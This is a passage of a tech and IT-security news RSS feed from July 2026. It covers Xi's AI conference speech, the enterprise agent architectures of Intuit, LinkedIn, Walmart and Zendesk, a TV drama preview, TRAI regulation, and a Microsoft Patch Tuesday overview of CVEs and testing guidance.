  <span class="pl-k">return</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'cleanup'</span><span class="pl-kos">)</span>
<span class="pl-kos">}</span></pre></div>
<h2>Behavior Consistency</h2>
<p>Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.</p>
<p>For stable releases, please refer to <a href="https://github.com/vuejs/core/blob/main/CHANGELOG.md">CHANGELOG.md</a> for details.<br>
For pre-releases, please refer to <a href="https://github.com/vuejs/core/blob/minor/CHANGELOG.md">CHANGELOG.md</a> of the <code>minor</code> branch.</p>]]></content:encoded>
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<title><![CDATA[Xi Vows to Make AI for All in Debut at China's Top Tech Summit]]></title>
<description><![CDATA[Xi Jinping used his first appearance at China's World AI Conference to promote a vision of low-cost, broadly accessible AI and call for international cooperation rather than technological rivalry. "AI development should not be a solo performance by a single country, but a symphony of internationa...]]></description>
<link>https://tsecurity.de/de/3677104/it-security-nachrichten/xi-vows-to-make-ai-for-all-in-debut-at-chinas-top-tech-summit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677104/it-security-nachrichten/xi-vows-to-make-ai-for-all-in-debut-at-chinas-top-tech-summit/</guid>
<pubDate>Sat, 18 Jul 2026 00:05:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Xi Jinping used his first appearance at China's World AI Conference to promote a vision of low-cost, broadly accessible AI and call for international cooperation rather than technological rivalry. "AI development should not be a solo performance by a single country, but a symphony of international cooperation," he said. Bloomberg reports: His presence at the gathering, attended by scores of tech and government leaders, conveys a potent signal of China's ambitions to dominate a technological sphere with the potential to revolutionize industry and economies -- an effort that's shot to the top of the nation's agenda. Chinese models are winning over companies worldwide, with their share of US firms' AI usage nearing a record 60% on the popular marketplace OpenRouter.
 
Behind the rhetoric, Beijing is grappling with the balance between openness and national security as models grow more capable. Chinese officials recently discussed with companies including Alibaba -- developer of the popular Qwen models -- how to mitigate the security risks posed by their increasingly powerful models, people familiar with the matter said. The talks are early, with no enforcement planned, but restricting foreign access to top models was among the options raised, the people said. Reuters previously reported that Beijing was weighing curbs on overseas access. Earlier today, the Beijing-based AI company "Moonshot" released a massive new model that reset the AI race overnight, immediately vaulting into the top tier of global AI, beating Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol in front-end coding tests.<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/17/1929216/xi-vows-to-make-ai-for-all-in-debut-at-chinas-top-tech-summit?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intuit scrapped its own AI agent architecture twice in four months. At VB Transform 2026, its AI VP called that the fast path]]></title>
<description><![CDATA[Intuit was an early pioneer in the usage of agentic AI, but its path to success has hardly been a straight line.At VB Transform 2026, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist a...]]></description>
<link>https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Intuit was an<a href="https://venturebeat.com/ai/how-intuit-plans-to-use-agentic-ai-to-automate-complex-business-tasks"> early pioneer</a> in the usage of agentic AI, but its path to success has hardly been a straight line.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist agents to a central orchestration layer, then abandoning that layer for a skills and tools based system once the orchestrator itself started failing under its own complexity. The full second rebuild took 60 days, with a first working version in under 20.</p><p>The failure mode that forced the second rewrite was specific. Agents in the orchestrated system passed results to each other in natural language, and each handoff lost context the next agent needed to act correctly. </p><p>"If you have 10 agents and they all are passing to each other, every time that pass happens, error compounds," Ho said.</p><h2>Why the orchestration layer broke down</h2><p>Ho said the original push toward specialist agents came from a straightforward customer complaint. A fleet of capable agents is still something a customer has to manage, deciding which agent to use for which task. Intuit's answer was a system that could take a task and route it internally, without asking the customer to pick an agent themselves.</p><p>That orchestration layer held up for about three months, which Ho described only half joking as roughly a year in the compressed timeline of agent development in 2026.</p><p>It broke for a structural reason rather than a capacity one. Passing outcomes between agents in natural language meant each downstream agent had to infer how the upstream agent reached its conclusion, and that inference degraded with each additional hop. A ten agent chain did not fail occasionally, it compounded errors by design.</p><p>That diagnosis is what sent Intuit back to a skills and tools architecture.</p><h2>The 60-day rebuild, and what it took to get engineering buy-in</h2><p>Rebuilding a production agent system in 60 days required more than an architectural decision. Ho said the harder problem was internal, convincing both leadership and the engineers who had built the original agents that scrapping recent work was the right call.</p><p>The pitch to leadership relied on evidence rather than argument. Ho's team built a demo of the new architecture using real customer queries pulled from production, then showed it performing better than the existing system on the same tasks. </p><p>"The best proof, at least my belief, is what are customers trying to do? And whatever system you build needs to address those problems," Ho said.</p><p>Winning over engineering required a different case. Hundreds of engineers outside Ho's core team had built the specialist agents being retired, and the ask was to take their agents apart into individual skills and tools instead. </p><p>Ho said the motivating argument was scale. A standalone agent solved one narrow problem, while a shared skill or tool built into the new architecture could serve every customer who touched that part of the product. That shift also changed what partner teams were responsible for day to day, moving their focus from building agents to running evals, since evals became the only way to measure whether the new architecture was actually working.</p><h2>Bringing a human into the loop, and feedback at a different scale</h2><p>The clearest customer facing result of the rebuild is a feature that lets a live agent conversation pull in a human — though it's currently in early testing, live to about 1% of Intuit's customer base. "We're going to be scaling it up in the next few weeks," she said.</p><p>Ho said a customer can bring in an Intuit product support person mid conversation, or their own accountant, or one of Intuit's own bookkeepers, and that person joins with the full context of what the agent has already done.</p><p>Ho drew a direct contrast with how most AI chat products handle the same situation. A general purpose assistant answering a tax question typically ends with a disclaimer to consult a professional. Intuit's system is built to connect the customer to that professional directly, inside the same conversation.</p><p>That human handoff sits alongside a permissions model built for financial data specifically. Every action an agent takes on a customer's financial data requires explicit permission first, though Ho said that requirement can ease over time as customers build trust in the system. Intuit keeps an audit log of everything an agent does that can be reversed if needed.</p><h2>Feedback in the agentic AI era</h2><p>The rebuild also changed how Intuit gathers and uses feedback, a shift Ho said is qualitatively different from what came before. </p><p>"Feedback in the past used to be very, very sparse, and it was also very bimodal," Ho said. "Either they loved it or they hated it, and usually it tends towards the negative."</p><p>In a chat based system, every conversation functions as feedback, which Ho said moved the company from roughly 0.3% of customers ever giving explicit feedback to something close to 100%.</p><p>Ho said she has returned to writing code herself specifically to build models that analyze that feedback volume systematically, looking for where the system is falling short at a scale no manual review process could keep up with.</p><p>That volume comes with a tone most product teams aren't used to hearing directly. Customers tell the agent exactly where it failed, in plain terms.</p><p>"They straight up tell you, 'You suck. I hate this. This is not right,'" Ho said. "But they're also willing to give the systems grace and correct it as well, and so the onus is on all of us to harvest this new piece of feedback and type of feedback, and actually improve the system."</p>]]></content:encoded>
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<title><![CDATA[Agents think in milliseconds, legacy infrastructure doesn't. LinkedIn, Walmart and Zendesk shared how they closed the gap at VB Transform 2026]]></title>
<description><![CDATA[Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders — from LinkedIn, Walmart, and Zendesk — at VB Transform 2026.The panel brought together Animesh Singh, senior director of AI platform and inf...]]></description>
<link>https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders —<!-- --> from LinkedIn, Walmart, and Zendesk —<!-- --> at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>.</p><p>The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.</p><p>What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.</p><p>Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."</p><h2><b>Where the bottleneck actually was</b></h2><p>Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.</p><p>At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.</p><p>A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. </p><p>"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.</p><p>Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.</p><p>Zendesk hit its bottleneck from the data side. Ghoche, who joined through <a href="https://www.zendesk.com/newsroom/press-releases/zendesk-completes-acquisition-of-forethought/">Zendesk's acquisition of Forethought</a>, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.</p><h2>The role of open source</h2><p>On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.</p><p>Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.</p><p>LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.</p><p>"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. </p><p>Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.</p><h2>Advice for the modernization journey</h2><p>Three pieces of advice came up directly, each tied to the wall a leader had already hit.</p><p><b>Invest in evals before anything else.</b> Ghoche called it the thing common to every use case, internal or customer facing. </p><p>"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, </p><p><b>Own your agent harness from day one.</b> Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. </p><p>"It will unlock a huge amount of innovation," she said.</p><p><b>Build for model and context independence.</b> Ensuring flexibility is critical for success.</p><p>"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.</p>]]></content:encoded>
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<title><![CDATA[Agent Kim Reactivated Episode 8 Predictions: Every Major Twist We Expect Next]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 8 will continue Kim Do-hyeon’s desperate search for Min-ji after another painful setback separated the father and daughter in Episode 7.



The next episode will air on Saturday, July 18, 2026, following the show’s regular Friday and Saturday schedule. Episode 7 ende...]]></description>
<link>https://tsecurity.de/de/3676815/ios-mac-os/agent-kim-reactivated-episode-8-predictions-every-major-twist-we-expect-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676815/ios-mac-os/agent-kim-reactivated-episode-8-predictions-every-major-twist-we-expect-next/</guid>
<pubDate>Fri, 17 Jul 2026 20:23:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 8 will continue Kim Do-hyeon’s desperate search for Min-ji after another painful setback separated the father and daughter in Episode 7.



The next episode will air on Saturday, July 18, 2026, following the show’s regular Friday and Saturday schedule. Episode 7 ended with Min-ji unknowingly entering Joo Kang-chan’s vehicle, placing her directly in the hands of one of Kim’s most dangerous enemies.



The series follows Kim Do-hyeon, an ordinary bank employee who was previously an elite black-ops agent. His hidden life resurfaces when his daughter disappears, forcing him to reconnect with old allies and confront those responsible for destroying his former team.



What happened in Agent Kim Reactivated Episode 7?



Spoilers ahead for Episode 7.



Kim followed the kidnappers to a cold-storage facility after learning that Min-ji was being held there. While he fought his way through several attackers, Min-ji refused to cooperate with Golden Teeth and eventually trapped him inside the storage area before escaping.



Kim also faced the younger brother of Agent 66, who believed that Kim had deliberately killed his older brother during a past mission. Their fight revealed the truth about the failed operation. Agent 66 had suffered a fatal injury and ordered Kim to survive rather than die beside him.



The flashbacks also showed that Kim had not leaked information about the mission. His North Korean superior, Ru Eung-ryeong, had betrayed the team, causing the operation to collapse.



Min-ji escaped into the rain but struggled with exhaustion and the freezing weather. She heard her father nearby but believed his voice was a hallucination. Kim later found the apology note she had left behind and used security footage to continue tracking her.



The episode ended with Min-ji accepting a ride from Joo Kang-chan without recognising him. Kim remained only a short distance behind, unaware that she had entered another dangerous situation.



Agent Kim Reactivated Episode 8 predictions



Episode 8 will likely begin with Kim and Seong Han-su pursuing Joo Kang-chan’s vehicle. Kim already knows that Kang-chan wants to protect his own daughter, even if that means killing Min-ji and covering up the crimes she witnessed.



Min-ji may discover Kang-chan’s identity before they reach his home. Her repeated escapes have shown that she can remain calm under pressure, so she could leave another clue that helps Kim follow their route.



Agent 66’s younger brother may also return as an unexpected ally. After learning that Kim did not cause his brother’s death, he now has a reason to target the senior official who betrayed their unit.



Meanwhile, Mole Cricket will probably continue using Min-ji as leverage. His refusal to follow the minister’s earlier order suggests that he has his own plan and may turn against both Kang-chan and the Special Missions Directorate.



The central confrontation should bring Kim closer to Min-ji while exposing more details about the conspiracy connected to his final mission. However, the series still has ten episodes, which means their reunion may face another complication before Kim can take her home safely.



Do you think Kim will finally rescue Min-ji in Episode 8, or will Joo Kang-chan escape with her again? Let us know your predictions in the comments.]]></content:encoded>
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<title><![CDATA[TRAI Seeks IT Act Powers to Act Against Spam-Tagging Apps Like Truecaller]]></title>
<description><![CDATA[  The Telecom Regulatory Authority of India (TRAI) seeks new powers in the Information Technology (IT) Act to take action against call management apps, including Truecaller, Hiya, and Whoscall, for marking or blocking legitimate commercial calls as spam. The regulator…
Read more →
The post TRAI S...]]></description>
<link>https://tsecurity.de/de/3676671/it-security-nachrichten/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676671/it-security-nachrichten/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/</guid>
<pubDate>Fri, 17 Jul 2026 19:25:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  The Telecom Regulatory Authority of India (TRAI) seeks new powers in the Information Technology (IT) Act to take action against call management apps, including Truecaller, Hiya, and Whoscall, for marking or blocking legitimate commercial calls as spam. The regulator…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/">TRAI Seeks IT Act Powers to Act Against Spam-Tagging Apps Like Truecaller</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[State officials, election experts pan Trump speech: ‘This is what desperation looks like’]]></title>
<description><![CDATA[The president’s speech re-hashed debunked conspiracies around U.S. elections. Critics say the administration’s 18-month investigation into voter fraud has been a total failure. 
The post State officials, election experts pan Trump speech: ‘This is what desperation looks like’ appeared first on Cy...]]></description>
<link>https://tsecurity.de/de/3676604/it-security-nachrichten/state-officials-election-experts-pan-trump-speech-this-is-what-desperation-looks-like/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676604/it-security-nachrichten/state-officials-election-experts-pan-trump-speech-this-is-what-desperation-looks-like/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The president’s speech re-hashed debunked conspiracies around U.S. elections. Critics say the administration’s 18-month investigation into voter fraud has been a total failure. </p>
<p>The post <a href="https://cyberscoop.com/state-officials-election-experts-pan-trump-voter-fraud-speech-call-it-desperation/">State officials, election experts pan Trump speech: ‘This is what desperation looks like’</a> appeared first on <a href="https://cyberscoop.com/">CyberScoop</a>.</p>]]></content:encoded>
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<title><![CDATA[Parents want safer phones for kids. These companies are answering the call.]]></title>
<description><![CDATA[As parents look for alternatives to unrestricted smartphones, a growing number of companies are building phones designed specifically for kids, from feature-limited mobile devices to minimalist home phones.]]></description>
<link>https://tsecurity.de/de/3676586/it-nachrichten/parents-want-safer-phones-for-kids-these-companies-are-answering-the-call/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676586/it-nachrichten/parents-want-safer-phones-for-kids-these-companies-are-answering-the-call/</guid>
<pubDate>Fri, 17 Jul 2026 18:21:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As parents look for alternatives to unrestricted smartphones, a growing number of companies are building phones designed specifically for kids, from feature-limited mobile devices to minimalist home phones.]]></content:encoded>
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<title><![CDATA[(g+) AI: DeepSeek Champions China's Bid to Flood the World With Cheap AI]]></title>
<description><![CDATA[On a video conference call from Hangzhou earlier this year, one of China's hottest startups held a four-hour pitch meeting with potential venture investors that was unusual by almost any measure. Von Saritha Rai und Olivia Poh (Deepseek, KI)]]></description>
<link>https://tsecurity.de/de/3676569/it-nachrichten/g-ai-deepseek-champions-chinas-bid-to-flood-the-world-with-cheap-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676569/it-nachrichten/g-ai-deepseek-champions-chinas-bid-to-flood-the-world-with-cheap-ai/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On a video conference call from Hangzhou earlier this year, one of China's hottest startups held a four-hour pitch meeting with potential venture investors that was unusual by almost any measure. Von Saritha Rai und Olivia Poh (<a href="https://www.golem.de/specials/deepseek/">Deepseek</a>, <a href="https://www.golem.de/specials/ki/">KI</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211023&amp;page=1&amp;ts=1784303941" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



